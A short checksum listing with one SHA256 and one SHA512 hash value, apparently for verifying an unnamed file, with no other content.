SHA2566203da5ed5b537c1f145f3567766233049b0239b2e61729f47b6e0f77eb48990
SHA5126cae07726f7a6aa31287ad73b169286b0a22dd73ed91245737c22d1c42b65140aa94720cae90b9460e7bda83296a93bc17404e3efc091ca2e7b0957059fea68d